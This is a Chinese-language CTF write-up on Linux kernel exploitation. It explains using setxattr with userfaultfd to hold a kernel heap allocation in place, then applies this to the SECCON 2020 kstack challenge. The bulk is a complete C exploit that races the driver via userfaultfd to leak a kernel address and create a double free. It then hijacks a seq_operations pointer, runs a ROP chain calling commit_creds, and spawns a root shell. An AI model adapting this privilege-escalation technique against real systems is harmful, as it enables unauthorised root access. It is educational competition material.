附件下载链接
setxattr 系统调用可以进行近乎任意大小的内核空间 object 分配。
调用链如下:
SYS_setxattr()
path_setxattr()
setxattr()
其中 setattr 函数关键逻辑如下:
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {
//,..
kvfree(kvalue);
return error;
}
虽然 setxattr 可以分配任意大小的内核空间 object ,但是分配完之后就立即被释放了,起不到利用效果。因此这里需要配合 userfaultfd 将执行过程卡在 copy_from_user 处。
我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用。
例题:SECCON 2020 kstack
驱动维护一个内存块构成的链表。
内存块大小为 32 字节。
链表结构如下图所示。
主要有 add 和 del 两个功能。
这里注意到 add 功能是先将申请的内存块添加到链表中,然后再 copy_from_user 写入内容;而 del 功能是先找到要删除的内存块 copy_to_user 将内容复制出来再将其从链表中取出并释放掉。
也就是说当无论是 copy_from_user 还是 copy_to_user ,要操作的内存块依旧在链表中,此时借助 userfaultfd 可以再次对其进行 del 操作从而构造出 uaf 和 double free 。
因此漏洞利用思路如下:
-
泄露内核地址
首先申请一个 seq_operations 并将其释放,然后 add 将这个释放的 seq_operations 申请出来,在 copy_from_user 处通过 userfaultfd 利用 del 删掉加入链表中的内存块其中 del 的 copy_to_user 泄露出内核地址。 -
构造 double free
add 一个内存块然后将其 del ,在 copy_to_user 处通过 userfaultfd 利用 del 将其释放,userfaultfd 完成缺页处理后再次释放造成 double free 。 -
setxattr + userfaultfd 堆占位提权
构造 double free 之后先是申请 seq_operations ,之后再 setxattr 申请同一个内存块。利用 userfaultfd 编辑 seq_operations 修改 start 函数指针为指向 add rsp val; gadget 将栈迁移到 pt_regs 结构体上提前布置好的 ROP 上完成提权。
这里需要注意的一点是,前面 double free 的内存块申请出来后,freelist 已经被破坏,直接获取 shell 会造成 kernel panic ,因此需要先释放之前申请的一些内存块来供后面的使用。
另外 userfaultf 处理完缺页错误之后最好 return 结束循环处理,不然会出现一些奇怪的问题,比如泄露内核地址没及时 return 会造成 double free 的内存块再第二次申请时申请不出来。(这个地方卡了我很久)
exp 如下:
#include#include #include #include #include #include #include #include #include #include #include #include #include #include size_t prepare_kernel_cred = 0xffffffff81069e00; size_t commit_creds = 0xffffffff81069c10; size_t pop_rdi_ret = 0xffffffff81034505; size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8102d5ce; size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34; int dev_fd; void add(void *a) { if (ioctl(dev_fd, 0x57AC0001, a) < 0) { puts("[-] add error"); exit(-1); } } void del(void *a) { if (ioctl(dev_fd, 0x57AC0002, a) < 0) { puts("[-] del error"); exit(-1); } } char *page; size_t page_size; size_t kernel_offset; int cnt = 0; void leak_thread(void *arg) { long uffd = (long) arg; while (true) { struct pollfd pollfd; pollfd.fd = (int) uffd; pollfd.events = POLLIN; int nready = poll(&pollfd, 1, -1); if (nready == -1) { puts("[-] Error at: poll"); exit(-1); } static struct uffd_msg msg; ssize_t nread = read((int) uffd, &msg, sizeof(msg)); if (nread == 0) { puts("[-] Error at: EOF on userfaultfd!"); exit(EXIT_FAILURE); } if (nread == -1) { puts("[-] Error at: read"); exit(-1); } if (msg.event != UFFD_EVENT_PAGEFAULT) { puts("[-] Unexpected event on userfaultfd"); exit(EXIT_FAILURE); } puts("[*] add trapped in userfaultfd."); del(&kernel_offset); printf("[+] leak addr: %pn", kernel_offset); kernel_offset -= 0xffffffff8113be80; struct uffdio_copy uffdio_copy; uffdio_copy.src = (unsigned long) page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); printf("[*] uffdio_copy.dst: %pn", uffdio_copy.dst); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) { puts("[-] Error at: ioctl-UFFDIO_COPY"); exit(-1); } return; } } void *double_free_thread(void *arg) { long uffd = (long) arg; while (true) { struct pollfd pollfd; pollfd.fd = (int) uffd; pollfd.events = POLLIN; int nready = poll(&pollfd, 1, -1); if (nready == -1) { puts("[-] Error at: poll"); exit(-1); } static struct uffd_msg msg; ssize_t nread = read((int) uffd, &msg, sizeof(msg)); if (nread == 0) { puts("[-] Error at: EOF on userfaultfd!"); exit(EXIT_FAILURE); } if (nread == -1) { puts("[-] Error at: read"); exit(-1); } if (msg.event != UFFD_EVENT_PAGEFAULT) { puts("[-] Unexpected event on userfaultfd"); exit(EXIT_FAILURE); } puts("[*] del trapped in userfaultfd."); puts("[*] construct the double free..."); del(page); struct uffdio_copy uffdio_copy; uffdio_copy.src = (unsigned long) page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); printf("[*] uffdio_copy.dst: %pn", uffdio_copy.dst); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) { puts("[-] Error at: ioctl-UFFDIO_COPY"); exit(-1); } } } int seq_fd_reserve[100], seq_fd; void *hijack_thread(void *arg) { long uffd = (long) arg; while (true) { struct pollfd pollfd; pollfd.fd = (int) uffd; pollfd.events = POLLIN; int nready = poll(&pollfd, 1, -1); if (nready == -1) { puts("[-] Error at: poll"); exit(-1); } static struct uffd_msg msg; ssize_t nread = read((int) uffd, &msg, sizeof(msg)); if (nread == 0) { puts("[-] Error at: EOF on userfaultfd!"); exit(EXIT_FAILURE); } if (nread == -1) { puts("[-] Error at: read"); exit(-1); } if (msg.event != UFFD_EVENT_PAGEFAULT) { puts("[-] Unexpected event on userfaultfd"); exit(EXIT_FAILURE); } puts("[*] setxattr trapped in userfaultfd."); for (int i = 0; i < 100; i++) { close(seq_fd_reserve[i]); } pop_rdi_ret += kernel_offset; mov_rdi_rax_pop_rbp_ret += kernel_offset; prepare_kernel_cred += kernel_offset; commit_creds += kernel_offset; swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10; __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, pop_rdi_ret;" "mov r12, 0;" "mov rbp, prepare_kernel_cred;" "mov rbx, mov_rdi_rax_pop_rbp_ret;" "mov r11, 0x66666666;" "mov r10, commit_creds;" "mov r9, swapgs_restore_regs_and_return_to_usermode;" "mov r8, 0x99999999;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall"); puts("[+] back to userland successfully!"); printf("[+] uid: %d gid: %dn", getuid(), getgid()); puts("[*] execve root shell now..."); system("/bin/sh"); } } void register_userfaultfd(void *addr, size_t len, void *(*handler)(void *)) { long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { puts("[-] Error at: userfaultfd"); exit(-1); } struct uffdio_api uffdio_api = {.api = UFFD_API, .features = 0}; if (ioctl((int) uffd, UFFDIO_API, &uffdio_api) == -1) { puts("[-] Error at: ioctl-UFFDIO_API"); exit(-1); } struct uffdio_register uffdio_register; uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl((int) uffd, UFFDIO_REGISTER, &uffdio_register) == -1) { puts("[-] Error at: ioctl-UFFDIO_REGISTER"); exit(-1); } static pthread_t monitor_thread; if (pthread_create(&monitor_thread, NULL, handler, (void *) uffd) != 0) { puts("[-] Error at: pthread_create"); exit(-1); } } int main() { if ((dev_fd = open("/proc/stack", O_RDONLY)) < 0) { puts("[-] open kstack error."); exit(-1); } page = malloc(0x1000); page_size = sysconf(_SC_PAGE_SIZE); for (int i = 0; i < 100; i++) { if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0) { puts("[-] open seq_operation error."); exit(-1); } } void *leak_uffd_buf = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfaultfd(leak_uffd_buf, page_size, (void *) leak_thread); if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) { puts("[-] open seq_operation error."); exit(-1); } close(seq_fd); add(leak_uffd_buf); printf("[+] kernel offset: %pn", kernel_offset); void *uaf_uffd_buf = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfaultfd(uaf_uffd_buf, page_size, (void *) double_free_thread); add("aaa"); del(uaf_uffd_buf); char *hijack_uffd_buf = (char *) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfaultfd(hijack_uffd_buf + page_size, page_size, (void *) hijack_thread); *(size_t *) (hijack_uffd_buf + page_size - 8) = 0xffffffff814d51c0 + kernel_offset; if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) { puts("[-] open seq_operation error."); exit(-1); } setxattr("/exp", page, hijack_uffd_buf + page_size - 8, 32, 0); return 0; }



